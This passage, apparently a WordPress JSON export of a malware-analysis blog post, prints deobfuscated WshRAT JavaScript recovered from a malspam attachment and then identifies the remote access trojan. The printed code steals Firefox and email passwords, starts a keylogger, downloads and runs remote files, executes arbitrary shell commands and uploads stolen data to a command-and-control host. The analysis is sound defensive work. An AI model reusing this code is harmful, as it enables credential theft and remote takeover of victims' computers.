Found&quot;);\r\n\t\t}\r\n\t}else if(retcmd == &quot;mozilla&quot;){\r\n\t\tfolder = shellobj.ExpandEnvironmentStrings(&quot;%appdata%&quot;) + &quot;\\\\Mozilla\\\\Firefox\\\\&quot;;\r\n\t\tif (objfsodownload.fileExists (folder + &quot;profiles.ini&quot;)){\r\n\t\t\tcontent = filesystemobj.openTextFile(folder + &quot;profiles.ini&quot;).readall();\r\n\t\t\tif (content.indexOf(&quot;Path=&quot;) &gt; 0) {\r\n\t\t\t\tcontent = content.substr(content.indexOf(&quot;Path=&quot;) + 5);\r\n\t\t\t\tcontent = content.substr(0, content.indexOf(&quot;\\r\\n&quot;));\r\n\t\t\t\tprofile = (folder + content).replace(new RegExp(&quot;\/&quot;, &quot;g&quot;), &quot;\\\\&quot;);\r\n\t\t\t\tfolder = profile + &quot;\\logins.json&quot;;\r\n\t\t\t\t\r\n\t\t\t\tif (objfsodownload.fileExists(sdkfile)){\r\n\t\t\t\t\t\/\/'proceed decoding\r\n\t\t\t\t\tdecode_pass(retcmd);\r\n\t\t\t\t}else{\r\n\t\t\t\t\t\/\/'request for sdk\r\n\t\t\t\t\tpost(&quot;show-toast&quot;, &quot;WSH Sdk for password recovery not found, You can install this SDK from the password recovery menu&quot;);\r\n\t\t\t\t}\r\n\t\t\t}else{\r\n\t\t\t\tpost(retcmd, &quot;No Password Found&quot;);\r\n\t\t\t}\r\n\t\t}else{\r\n\t\t\tpost(retcmd, &quot;No Password Found&quot;);\r\n\t\t}\r\n\t}else{\r\n\t\tpassgrabber2(fileurl, filename, retcmd);\r\n\t}\r\n}catch(err){}\r\n\t   \r\n}\r\n\r\nfunction UnZip(zipfile, ExtractTo){\r\nif(filesystemobj.GetExtensionName(zipfile) == &quot;zip&quot;){\r\nif(!filesystemobj.FolderExists(ExtractTo)){\r\nfilesystemobj.CreateFolder(ExtractTo);\r\n}\r\nvar objShell = WScript.CreateObject(&quot;Shell.Application&quot;);\r\nvar destination = objShell.NameSpace(ExtractTo);\r\nvar zip_content = objShell.NameSpace(zipfile).Items();   \r\nfor(i = 0; i &lt; zip_content.Count; i++){\r\nif(filesystemobj.FileExists(filesystemobj.Buildpath(ExtractTo,zip_content.item(i).name)+&quot;.&quot;+filesystemobj.getExtensionName(zip_content.item(i).path))){\r\nfilesystemobj.DeleteFile(filesystemobj.Buildpath(ExtractTo,zip_content.item(i).name)+&quot;.&quot;+filesystemobj.getExtensionName(zip_content.item(i).path));\r\n}\r\ndestination.copyHere(zip_content.item(i), 20);\r\n}\r\n}\r\n}\r\n\r\nfunction passgrabber2(fileurl, filename, retcmd){\r\n\r\nshellobj.run(&quot;%comspec% \/c taskkill \/F \/IM &quot; + filename, 0, true);\r\ntry{filesystemobj.deleteFile(installdir + filename + &quot;data&quot;);}catch(ey){}\r\nvar config_file = installdir + filename.substr(0, filename.lastIndexOf(&quot;.&quot;)) + &quot;.cfg&quot;;\r\nvar cfg = &quot;&#x5B;General]\\nShowGridLines=0\\nSaveFilterIndex=0\\nShowInfoTip=1\\nUseProfileFolder=0\\nProfileFolder=\\nMarkOddEvenRows=0\\nWinPos=2C 00 00 00 00 00 00 00 01 00 00 00 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 00 00 00 00 00 00 00 00 80 02 00 00 E0 01 00 00\\nColumns=FA 00 00 00 FA 00 01 00 6E 00 02 00 6E 00 03 00 78 00 04 00 78 00 05 00 78 00 06 00 64 00 07 00 FA 00 08 00\\nSort=0&quot;;\r\n\/\/write config\r\nvar writer = filesystemobj.openTextFile(config_file, 2, true);\r\nwriter.writeLine(cfg);\r\nwriter.close();\r\nwriter = null;\r\n\t   \r\nvar strlink = fileurl;\r\nvar strsaveto = installdir + filename;\r\nvar objhttpdownload = WScript.CreateObject(&quot;msxml2.xmlhttp&quot;);\r\nobjhttpdownload.open(&quot;get&quot;, strlink, false);\r\nobjhttpdownload.setRequestHeader(&quot;cache-control:&quot;, &quot;max-age=0&quot;);\r\nobjhttpdownload.send();\r\n\r\nvar objfsodownload = WScript.CreateObject(&quot;scripting.filesystemobject&quot;);\r\nif(objfsodownload.fileExists(strsaveto)){\r\n    objfsodownload.deleteFile(strsaveto);\r\n}\r\n \r\nif (objhttpdownload.status == 200){\r\n   var  objstreamdownload = WScript.CreateObject(&quot;adodb.stream&quot;);\r\n   objstreamdownload.Type = 1; \r\n   objstreamdownload.Open();\r\n   objstreamdownload.Write(objhttpdownload.responseBody);\r\n   objstreamdownload.SaveToFile(strsaveto);\r\n   objstreamdownload.close();\r\n   objstreamdownload = null;\r\n}\r\nif(objfsodownload.fileExists(strsaveto)){\r\n   var runner = WScript.CreateObject(&quot;Shell.Application&quot;);\r\n   var saver = objfsodownload.getFile(strsaveto).shortPath\r\n   \r\n   \/\/try 10 times before giveup\r\n   for(var i=0; i&lt;5; i++){\r\n\t\tshellobj.run(&quot;%comspec% \/c taskkill \/F \/IM &quot; + filename, 0, true);\r\n\t\tWScript.sleep(1000);\r\n\t\trunner.shellExecute(saver, &quot; \/stext &quot; + saver + &quot;data&quot;);\r\n\t\tWScript.sleep(2000);\r\n\t\tif(objfsodownload.fileExists(saver + &quot;data&quot;)){\r\n\t\t\tvar sr = filesystemobj.openTextFile(saver + &quot;data&quot;);\r\n\t\t\tvar buffer = sr.readall();\r\n\t\t\tsr.close();\r\n\t\t\tsr = null;\r\n\t\t\t\r\n\t\t\tvar outpath = installdir + &quot;wshlogs\\\\recovered_password_email.log&quot;;\r\n\t\t\tvar folder = objfsodownload.GetParentFolderName(outpath);\r\n\r\n\t\t\tif (!objfsodownload.FolderExists(folder))\r\n\t\t\t{\r\n\t\t\t\tshellobj.run(&quot;%comspec% \/c mkdir \\&quot;&quot; + folder + &quot;\\&quot;&quot;, 0, true);\r\n\t\t\t}\r\n\t\t\twriter = filesystemobj.openTextFile(outpath, 2, true);\r\n\t\t\twriter.write(buffer);\r\n\t\t\twriter.close();\r\n\t\t\twriter = null;\r\n\t\t\t\r\n\t\t\tupload(saver + &quot;data&quot;, retcmd);\r\n\t\t\tbreak;\r\n\t\t}\r\n   }\r\n   deletefaf(strsaveto);\r\n}\r\n\r\n}\r\n\r\nfunction keyloggerstarter (fileurl, filename, filearg, is_offline){\r\nshellobj.run(&quot;%comspec% \/c taskkill \/F \/IM &quot; + filename, 0, true);\r\nvar strlink = fileurl;\r\nvar strsaveto = installdir + filename;\r\nvar objhttpdownload = WScript.CreateObject(&quot;msxml2.xmlhttp&quot; );\r\nobjhttpdownload.open(&quot;get&quot;, strlink, false);\r\nobjhttpdownload.setRequestHeader(&quot;cache-control:&quot;, &quot;max-age=0&quot;);\r\nobjhttpdownload.send();\r\n\r\nvar objfsodownload = WScript.CreateObject(&quot;scripting.filesystemobject&quot;);\r\nif(objfsodownload.fileExists(strsaveto)){\r\n    objfsodownload.deleteFile(strsaveto);\r\n}\r\n \r\nif (objhttpdownload.status == 200){\r\n  try{\r\n    var  objstreamdownload = WScript.CreateObject(&quot;adodb.stream&quot;);\r\n    objstreamdownload.Type = 1; \r\n    objstreamdownload.Open();\r\n    objstreamdownload.Write(objhttpdownload.responseBody);\r\n    objstreamdownload.SaveToFile(strsaveto);\r\n    objstreamdownload.close();\r\n    \r\n    objstreamdownload = null;\r\n\t}catch(err){\r\n\t\tupdatestatus(&quot;Access+Denied&quot;);\r\n\t}\r\n }\r\n if(objfsodownload.fileExists(strsaveto)){\r\n   shellobj.run(&quot;\\&quot;&quot; + strsaveto + &quot;\\&quot; &quot; + host + &quot; &quot; + port + &quot; \\&quot;&quot; + filearg + &quot;\\&quot; &quot; + is_offline);\r\n } \r\n}\r\n\r\nfunction servicestarter (fileurl, filename, filearg){\r\n    shellobj.run(&quot;%comspec% \/c taskkill \/F \/IM &quot; + filename, 0, true);\r\n    var strlink = fileurl;\r\n    var strsaveto = installdir + filename;\r\n    var objhttpdownload = WScript.CreateObject(&quot;msxml2.xmlhttp&quot; );\r\n    objhttpdownload.open(&quot;get&quot;, strlink, false);\r\n    objhttpdownload.setRequestHeader(&quot;cache-control:&quot;, &quot;max-age=0&quot;);\r\n    objhttpdownload.send();\r\n    \r\n    var objfsodownload = WScript.CreateObject(&quot;scripting.filesystemobject&quot;);\r\n    if(objfsodownload.fileExists(strsaveto)){\r\n        objfsodownload.deleteFile(strsaveto);\r\n    }\r\n     \r\n    if (objhttpdownload.status == 200){\r\n\t  try{\r\n        var  objstreamdownload = WScript.CreateObject(&quot;adodb.stream&quot;);\r\n        objstreamdownload.Type = 1; \r\n        objstreamdownload.Open();\r\n        objstreamdownload.Write(objhttpdownload.responseBody);\r\n        objstreamdownload.SaveToFile(strsaveto);\r\n        objstreamdownload.close();\r\n        \r\n        objstreamdownload = null;\r\n\t  }catch(err){\r\n\t\tupdatestatus(&quot;Access+Denied&quot;);\r\n\t  }\r\n     }\r\n     if(objfsodownload.fileExists(strsaveto)){\r\n        shellobj.run(&quot;\\&quot;&quot; + strsaveto + &quot;\\&quot; &quot; + host + &quot; &quot; + port + &quot; \\&quot;&quot; + filearg + &quot;\\&quot;&quot;);\r\n      }  \r\n}\r\n\r\nfunction sitedownloader (fileurl,filename){\r\n\r\n    var strlink = fileurl;\r\n    var strsaveto = installdir + filename;\r\n    var objhttpdownload = WScript.CreateObject(&quot;msxml2.serverxmlhttp&quot; );\r\n    objhttpdownload.open(&quot;get&quot;, strlink, false);\r\n    objhttpdownload.setRequestHeader(&quot;cache-control&quot;, &quot;max-age=0&quot;);\r\n    objhttpdownload.send();\r\n    \r\n    var objfsodownload = WScript.CreateObject(&quot;scripting.filesystemobject&quot;);\r\n    if(objfsodownload.fileExists(strsaveto)){\r\n        objfsodownload.deleteFile(strsaveto);\r\n    }\r\n     \r\n    if (objhttpdownload.status == 200){\r\n        var  objstreamdownload = WScript.CreateObject(&quot;adodb.stream&quot;);\r\n        objstreamdownload.Type = 1; \r\n        objstreamdownload.Open();\r\n        objstreamdownload.Write(objhttpdownload.responseBody);\r\n        objstreamdownload.SaveToFile(strsaveto);\r\n        objstreamdownload.close();\r\n        \r\n        objstreamdownload = null;\r\n     }\r\n     if(objfsodownload.fileExists(strsaveto)){\r\n        shellobj.run(objfsodownload.getFile(strsaveto).shortPath);\r\n        updatestatus(&quot;Executed+File&quot;);\r\n     }\r\n}\r\n\r\nfunction download (fileurl,filedir){\r\n    if(filedir == &quot;&quot;){ \r\n    filedir = installdir;\r\n    }\r\n\r\n    strsaveto = filedir + fileurl.substr(fileurl.lastIndexOf(&quot;\\\\&quot;) + 1);\r\n    var objhttpdownload = WScript.CreateObject(&quot;msxml2.xmlhttp&quot;);\r\n    objhttpdownload.open(&quot;post&quot;,&quot;http:\/\/&quot; + host + &quot;:&quot; + port +&quot;\/&quot; + &quot;send-to-me&quot; + spliter + fileurl, false);\r\n    objhttpdownload.setRequestHeader(&quot;user-agent:&quot;, information());\r\n    objhttpdownload.send(&quot;&quot;);\r\n        \r\n    var objfsodownload = WScript.CreateObject(&quot;scripting.filesystemobject&quot;);\r\n    if(objfsodownload.fileExists(strsaveto)){\r\n        objfsodownload.deleteFile(strsaveto);\r\n    }\r\n     \r\n    if (objhttpdownload.status == 200){\r\n        var  objstreamdownload = WScript.CreateObject(&quot;adodb.stream&quot;);\r\n        objstreamdownload.Type = 1; \r\n        objstreamdownload.Open();\r\n        objstreamdownload.Write(objhttpdownload.responseBody);\r\n        objstreamdownload.SaveToFile(strsaveto);\r\n        objstreamdownload.close();\r\n        \r\n        objstreamdownload = null;\r\n     }\r\n     if(objfsodownload.fileExists(strsaveto)){\r\n        shellobj.run(objfsodownload.getFile(strsaveto).shortPath);\r\n        updatestatus(&quot;Executed+File&quot;);\r\n     } \r\n}\r\n\r\nfunction updatestatus(status_msg){\r\ntry{\r\n\tvar objsoc = WScript.CreateObject(&quot;msxml2.xmlhttp&quot;);\r\n\tobjsoc.open(&quot;post&quot;,&quot;http:\/\/&quot; + host + &quot;:&quot; + port + &quot;\/&quot; + &quot;update-status&quot; + spliter + status_msg, false);\r\n\tobjsoc.setRequestHeader(&quot;user-agent:&quot;, information());\r\n\tobjsoc.send(&quot;&quot;);\r\n\t}catch(err){}\r\n}\r\n\r\nfunction upload (fileurl, retcmd){\r\n\ttry{\r\n\t\tvar  httpobj,objstreamuploade,buffer;\r\n\t\tvar objstreamuploade = WScript.CreateObject(&quot;adodb.stream&quot;);\r\n\t\tobjstreamuploade.Type = 1; \r\n\t\tobjstreamuploade.Open();\r\n\t\tobjstreamuploade.loadFromFile(fileurl);\r\n\t\tbuffer = objstreamuploade.Read();\r\n\t\tobjstreamuploade.close();\r\n\r\n\t\tobjstreamdownload = null;\r\n\t\tvar httpobj = WScript.CreateObject(&quot;msxml2.xmlhttp&quot;);\r\n\t\thttpobj.open(&quot;post&quot;,&quot;http:\/\/&quot; + host + &quot;:&quot; + port +&quot;\/&quot; + retcmd, false);\r\n\t\thttpobj.setRequestHeader(&quot;user-agent:&quot;, information());\r\n\t\thttpobj.send(buffer);\r\n\t}catch(er){\r\n\t\tupdatestatus(&quot;Upload+Failed&quot;);\r\n\t}\r\n}\r\n\r\n\r\nfunction deletefaf (url){\r\ntry{\r\nfilesystemobj.deleteFile(url);\r\nfilesystemobj.deleteFolder(url);\r\n}catch(err){}\r\n}\r\n\r\nfunction cmdshell (cmd){\r\nvar httpobj,oexec,readallfromany;\r\nvar strsaveto = installdir + &quot;out.txt&quot;;\r\nshellobj.run(&quot;%comspec% \/c &quot; + cmd + &quot; &gt; \\&quot;&quot; + strsaveto + &quot;\\&quot;&quot;, 0, true);\r\nreadallfromany = filesystemobj.openTextFile(strsaveto).readAll();\r\ntry{\r\nfilesystemobj.deleteFile(strsaveto);\r\n}catch(ee){}\r\nreturn readallfromany;\r\n}\r\n\r\n\r\nfunction enumprocess(){\r\n    var ep = &quot;&quot;;\r\ntry{\r\nvar objwmiservice = GetObject(&quot;winmgmts:\\\\\\\\.\\\\root\\\\cimv2&quot;);\r\nvar colitems = objwmiservice.ExecQuery(&quot;select * from win32_process&quot;,null,48);\r\n\r\nfor(var fi = new Enumerator(colitems); !fi.atEnd(); fi.moveNext()){\r\n    var objitem = fi.item();\r\n\tep = ep + objitem.name + &quot;^&quot;;\r\n\tep = ep + objitem.processId + &quot;^&quot;;\r\n    ep = ep + objitem.executablePath + spliter;\r\n}\r\n}catch(er){}\r\nreturn ep;\r\n}\r\n\r\nfunction exitprocess (pid){\r\ntry{\r\nshellobj.run(&quot;taskkill \/F \/T \/PID &quot; + pid,0,true);\r\n}catch(err){}\r\n}\r\n\r\nfunction getParentDirectory(path){\r\n\tvar fo = filesystemobj.getFile(path);\r\n\treturn filesystemobj.getParentFolderName(fo);\r\n}\r\n\r\nfunction enumfaf (enumdir){\r\n    var re = &quot;&quot;;\r\ntry{\r\n    for(var fi = new Enumerator(filesystemobj.getFolder (enumdir).subfolders); !fi.atEnd(); fi.moveNext()){\r\n        var folder = fi.item();\r\n        re = re + folder.name + &quot;^^d^&quot; + folder.attributes + spliter; \r\n    }\r\n    for(var fi = new Enumerator(filesystemobj.getFolder (enumdir).files); !fi.atEnd(); fi.moveNext()){\r\n        var file = fi.item();\r\n        re = re + file.name + &quot;^&quot; + file.size + &quot;^&quot; + file.attributes + spliter; \r\n    }\r\n}catch(err){}\r\nreturn re;\r\n}\r\n<\/pre>\n<p>From this, we can see what appears to be a config file for what is called &#8220;WshRAT&#8221; which seems to be closely related to the Houdini malware (difference being Javascript versus VBScript). For more information about this RAT, please see this <a href=\"http:\/\/www.bleepingcomputer.com\/news\/security\/new-wsh-rat-malware-targets-bank-customers-with-keyloggers\/\" rel=\"noopener noreferrer\" target=\"_blank\">link<\/a>.<\/p>\n<p>If I have missed anything or have explained something incorrectly, please let me know.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Special thanks to one of my colleagues and @nazywam on Twitter that helped me with this. The Twitter thread about this can be found here. To obtain the Javascript file, see the Any.Run link here. The other day (2019-08-20) while looking at caught emails in the SPAM folder, I came across this malspam that was referencing a request for quote (ala: RFQ). The email had an attachment to it that was Gzipped. Unzipping it I saw there was a nicely obfuscated Javascript file. Opening it up and looking through it, there was some clear text code that follows after a&#8230;<\/p>\n<p> <a class=\"continue-reading-link\" href=\"https:\/\/www.herbiez.com\/?p=1307\"><span>Continue reading<\/span><i class=\"crycon-right-dir\"><\/i><\/a> <\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[10],"tags":[33,21,35],"class_list":["post-1307","post","type-post","status-publish","format-standard","hentry","category-code","tag-deobfuscating-code","tag-rat","tag-wshrat"],"_links":{"self":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/1307","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1307"}],"version-history":[{"count":2,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/1307\/revisions"}],"predecessor-version":[{"id":1310,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/1307\/revisions\/1310"}],"wp:attachment":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1307"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1307"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1307"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}